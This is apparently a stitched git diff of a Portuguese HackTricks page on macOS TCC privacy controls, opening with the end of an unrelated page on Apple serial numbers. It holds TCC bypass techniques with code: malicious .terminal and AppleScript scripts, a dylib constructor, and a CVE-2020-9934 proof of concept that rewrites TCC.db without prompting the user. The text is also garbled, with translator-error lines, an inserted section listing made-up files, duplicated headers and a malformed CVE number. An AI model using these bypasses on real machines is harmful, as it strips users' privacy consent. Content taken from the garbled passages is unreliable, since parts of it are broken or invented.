| D | 2010/2020 (2º semestre) |
| F | 2011/2021 (1º semestre) |
| G | 2011/2021 (2º semestre) |
| H | 2012/... (1º semestre) |
| J | 2012 (2º semestre) |
| K | 2013 (1º semestre) |
| L | 2013 (2º semestre) |
| M | 2014 (1º semestre) |
| N | 2014 (2º semestre) |
| P | 2015 (1º semestre) |
| Q | 2015 (2º semestre) |
| R | 2016 (1º semestre) |
| S | 2016 (2º semestre) |
| T | 2017 (1º semestre) |
| V | 2017 (2º semestre) |
| W | 2018 (1º semestre) |
| X | 2018 (2º semestre) |
| Y | 2019 (1º semestre) |
| Z | 2019 (2º semestre) |
## 1 - Semana de fabricação
### 1 - Semana de fabricação
O quinto caractere representa a semana em que o dispositivo foi fabricado. Existem 28 caracteres possíveis neste local: **os dígitos de 1 a 9 são usados para representar as primeiras nove semanas**, e os **caracteres C a Y**, **excluindo** as vogais A, E, I, O e U, e a letra S, representam as **décimas a vigésimas sétimas semanas**. Para dispositivos fabricados na **segunda metade do ano, adicione 26** ao número representado pelo quinto caractere do número de série. Por exemplo, um produto com um número de série cujos quarto e quinto dígitos são "JH" foi fabricado na 40ª semana de 2012.
## 3 - Código único
### 3 - Código único
Os próximos três dígitos são um código identificador que **serve para diferenciar cada dispositivo Apple do mesmo modelo** que é fabricado no mesmo local e durante a mesma semana do mesmo ano, garantindo que cada dispositivo tenha um número de série diferente.
## 4 - Número de série
### 4 - Número de série
Os últimos quatro dígitos do número de série representam o **modelo do produto**.
## Referência
### Referência
{% embed url="https://beetstech.com/blog/decode-meaning-behind-apple-serial-number" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks

View file

@ -1,22 +1,8 @@
# macOS TCC
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## **Informações Básicas**
**TCC (Transparência, Consentimento e Controle)** é um mecanismo no macOS para **limitar e controlar o acesso de aplicativos a determinados recursos**, geralmente do ponto de vista da privacidade. Isso pode incluir coisas como serviços de localização, contatos, fotos, microfone, câmera, acessibilidade, acesso total ao disco e muito mais.
O **TCC (Transparência, Consentimento e Controle)** é um mecanismo no macOS para **limitar e controlar o acesso do aplicativo a determinados recursos**, geralmente do ponto de vista da privacidade. Isso pode incluir coisas como serviços de localização, contatos, fotos, microfone, câmera, acessibilidade, acesso total ao disco e muito mais.
Do ponto de vista do usuário, o TCC entra em ação **quando um aplicativo deseja acessar um dos recursos protegidos pelo TCC**. Quando isso acontece, o **usuário é solicitado** com uma caixa de diálogo perguntando se deseja permitir o acesso ou não.
Do ponto de vista do usuário, eles veem o TCC em ação **quando um aplicativo deseja acessar um dos recursos protegidos pelo TCC**. Quando isso acontece, o **usuário é solicitado** com uma caixa de diálogo perguntando se eles desejam permitir o acesso ou não.
Também é possível **conceder acesso a aplicativos** a arquivos por **intenções explícitas** dos usuários, por exemplo, quando um usuário **arrasta e solta um arquivo em um programa** (obviamente, o programa deve ter acesso a ele).
@ -33,7 +19,7 @@ As permissões são **herdadas do aplicativo pai** e as **permissões** são **r
As seleções são então armazenadas no banco de dados do sistema TCC em **`/Library/Application Support/com.apple.TCC/TCC.db`** ou em **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** para preferências por usuário. O banco de dados é **protegido contra edição com SIP** (Proteção de Integridade do Sistema), mas você pode lê-los concedendo **acesso total ao disco**.
{% hint style="info" %}
A **interface do centro de notificações** pode fazer **alterações no banco de dados do TCC do sistema**:
A **interface do centro de notificação** pode fazer **alterações no banco de dados do TCC do sistema**:
{% code overflow="wrap" %}
```bash
@ -42,9 +28,7 @@ codesign -dv --entitlements :- /System/Library/PrivateFrameworks/TCC.framework/S
com.apple.private.tcc.manager
com.apple.rootless.storage.TCC
```
{% endcode %}
No entanto, os usuários podem **excluir ou consultar regras** com a utilidade de linha de comando **`tccutil`**.
No entanto, os usuários podem **excluir ou consultar regras** com o utilitário de linha de comando **`tccutil`**.
{% endhint %}
{% tabs %}
@ -67,17 +51,27 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
```
{% endtab %}
Você pode encontrar a lista completa de aplicativos que possuem permissões TCC no banco de dados do sistema. Para acessar o banco de dados, execute o seguinte comando:
{% tab title="macOS TCC" %}
# Proteções de segurança do macOS: Controle de Acesso ao TCC
```bash
sudo sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db
```
O Controle de Acesso ao TCC (TCC, na sigla em inglês) é um recurso de segurança do macOS que controla o acesso de aplicativos a recursos protegidos, como a câmera, o microfone, a localização e os contatos. O TCC é implementado pelo daemon `tccd` e é gerenciado pelo `System Preferences`.
Em seguida, você pode executar a seguinte consulta SQL para obter a lista de aplicativos e suas permissões:
O TCC é uma parte importante do modelo de segurança do macOS, pois ajuda a proteger a privacidade do usuário e a impedir que aplicativos mal-intencionados acessem informações confidenciais. No entanto, o TCC não é perfeito e pode ser contornado por aplicativos mal-intencionados que exploram vulnerabilidades no sistema ou usam técnicas de engenharia social para enganar o usuário.
```sql
SELECT service, client, allowed FROM access;
```
Este diretório contém informações e ferramentas relacionadas ao TCC, incluindo:
- **tccutil.py**: uma ferramenta Python para gerenciar as permissões do TCC.
- **tcc.db**: um arquivo SQLite que contém as permissões do TCC.
- **tcc_profiles.md**: uma lista de perfis do TCC e suas permissões padrão.
- **tcc_vulnerabilities.md**: uma lista de vulnerabilidades conhecidas do TCC e como explorá-las.
## Referências
- [Controle de Acesso ao TCC](https://developer.apple.com/documentation/security/tcc)
- [Gerenciando o acesso do usuário a localizações e recursos com o Controle de Acesso ao TCC](https://developer.apple.com/documentation/security/tcc)
- [Explorando o Controle de Acesso ao TCC no macOS](https://objective-see.com/blog/blog_0x4D.html)
- [Explorando o Controle de Acesso ao TCC no macOS Mojave](https://objective-see.com/blog/blog_0x4F.html)
- [Explorando o Controle de Acesso ao TCC no macOS Catalina](https://objective-see.com/blog/blog_0x53.html)
```bash
sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db
sqlite> .schema
@ -133,7 +127,7 @@ csreq -t -r /tmp/telegram_csreq.bin
Os aplicativos **não apenas precisam** solicitar e ter sido **concedido acesso** a alguns recursos, eles também precisam **ter as permissões relevantes**.\
Por exemplo, o **Telegram** tem a permissão `com.apple.security.device.camera` para solicitar **acesso à câmera**. Um **aplicativo** que **não tenha** essa **permissão não poderá** acessar a câmera (e o usuário nem mesmo será solicitado a conceder as permissões).
No entanto, para que os aplicativos tenham **acesso a determinadas pastas do usuário**, como `~/Desktop`, `~/Downloads` e `~/Documents`, eles **não precisam** ter nenhuma **permissão específica**. O sistema lidará com o acesso de forma transparente e **solicitará permissão ao usuário** conforme necessário.
No entanto, para que os aplicativos tenham **acesso** a **certas pastas do usuário**, como `~/Desktop`, `~/Downloads` e `~/Documents`, eles **não precisam** ter nenhuma **permissão específica**. O sistema lidará com o acesso de forma transparente e **solicitará permissão ao usuário** conforme necessário.
Os aplicativos da Apple **não gerarão prompts**. Eles contêm **direitos pré-concedidos** em sua lista de **permissões**, o que significa que eles **nunca gerarão um pop-up**, **nem** aparecerão em nenhum dos **bancos de dados do TCC**. Por exemplo:
```bash
@ -146,7 +140,7 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
<string>kTCCServiceAddressBook</string>
</array>
```
Isso evitará que o Calendário solicite ao usuário acesso a lembretes, calendário e lista de endereços.
Isso evitará que o Calendário solicite ao usuário acesso a lembretes, calendário e lista de contatos.
### Locais sensíveis desprotegidos
@ -191,15 +185,15 @@ ls: Desktop: Operation not permitted
username@hostname ~ % cat Desktop/lalala
asd
```
O atributo estendido `com.apple.macl` é adicionado ao novo arquivo para dar acesso ao aplicativo criador para lê-lo.
O **atributo estendido `com.apple.macl`** é adicionado ao novo **arquivo** para dar acesso ao aplicativo criador para lê-lo.
### Bypass SSH
Por padrão, o acesso via SSH terá "Acesso total ao disco". Para desativar isso, você precisa tê-lo listado, mas desativado (removê-lo da lista não removerá esses privilégios):
Por padrão, o acesso via **SSH** terá **"Acesso total ao disco"**. Para desativar isso, você precisa tê-lo listado, mas desativado (removê-lo da lista não removerá esses privilégios):
![](<../../../../.gitbook/assets/image (569).png>)
Aqui você pode encontrar exemplos de como alguns malwares conseguiram contornar essa proteção:
Aqui você pode encontrar exemplos de como alguns **malwares conseguiram burlar essa proteção**:
* [https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/](https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/)
@ -211,7 +205,7 @@ O Electron está trabalhando na chave **`ElectronAsarIntegrity`** em Info.plist
### Scripts do Terminal
É bastante comum dar acesso total ao disco (FDA) ao terminal, pelo menos em computadores usados por pessoas de tecnologia. E é possível invocar scripts **`.terminal`** usando-o.
É comum dar ao terminal **Acesso total ao disco (FDA)**, pelo menos em computadores usados por pessoas de tecnologia. E é possível invocar scripts **`.terminal`** usando-o.
Os scripts **`.terminal`** são arquivos plist como este com o comando a ser executado na chave **`CommandString`**:
```xml
@ -272,13 +266,13 @@ tell application "iTerm"
end tell
end tell
```
{% endcode %} (This tag should not be translated)
Desculpe, não há nenhum bloco de código aberto. Por favor, forneça o conteúdo que deseja traduzir.
```bash
osascript iterm.script
```
#### Sobre o Finder
Ou se um aplicativo tem acesso sobre o Finder, ele pode executar um script como este:
Ou se um aplicativo tem acesso sobre o Finder, ele pode ter um script como este:
```applescript
set a_user to do shell script "logname"
tell application "Finder"
@ -333,10 +327,10 @@ __attribute__((constructor)) static void constructor(int argc, const char **argv
```
### CVE-20209934 - TCC <a href="#c19b" id="c19b"></a>
O daemon **tccd** do usuário está usando a variável de ambiente **`HOME`** para acessar o banco de dados de usuários do TCC em: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
O daemon **tccd** do usuário estava usando a variável de ambiente **`HOME`** para acessar o banco de dados de usuários do TCC em: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
De acordo com [esta postagem do Stack Exchange](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) e porque o daemon TCC está sendo executado via `launchd` dentro do domínio do usuário atual, é possível **controlar todas as variáveis de ambiente** passadas para ele.\
Assim, um **atacante poderia definir a variável de ambiente `$HOME`** em **`launchctl`** para apontar para um **diretório controlado**, **reiniciar** o **daemon TCC** e, em seguida, **modificar diretamente o banco de dados do TCC** para dar a si mesmo **todas as permissões do TCC disponíveis** sem nunca solicitar ao usuário final.\
Assim, um **atacante poderia definir a variável de ambiente `$HOME`** em **`launchctl`** para apontar para um **diretório controlado**, **reiniciar** o **daemon TCC**, e então **modificar diretamente o banco de dados do TCC** para dar a si mesmo **todas as permissões do TCC disponíveis** sem nunca solicitar ao usuário final.\
PoC:
```bash
# reset database just in case (no cheating!)
@ -364,6 +358,12 @@ X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d69
# list Documents directory without prompting the end user
$> ls ~/Documents
```
### CVE-2021-30761
As notas tinham acesso a locais protegidos pelo TCC, mas quando uma nota é criada, ela é **criada em um local não protegido**. Portanto, é possível pedir para as notas copiarem um arquivo protegido em uma nota (ou seja, em um local não protegido) e, em seguida, acessar o arquivo:
<figure><img src="../../../../.gitbook/assets/image (8).png" alt=""><figcaption></figcaption></figure>
### CVE-2023-26818 - Telegram
O Telegram tinha as permissões `com.apple.security.cs.allow-dyld-environment-variables` e `com.apple.security.cs.disable-library-validation`, então era possível abusar dele para **obter acesso às suas permissões**, como gravar com a câmera. Você pode [**encontrar o payload no writeup**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/).
@ -374,13 +374,14 @@ O Telegram tinha as permissões `com.apple.security.cs.allow-dyld-environment-va
* [**https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/)
* [**https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8**](https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8)
* [**https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/**](https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/)
* [**https://www.youtube.com/watch?v=W9GxnP8c8FU**](https://www.youtube.com/watch?v=W9GxnP8c8FU)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).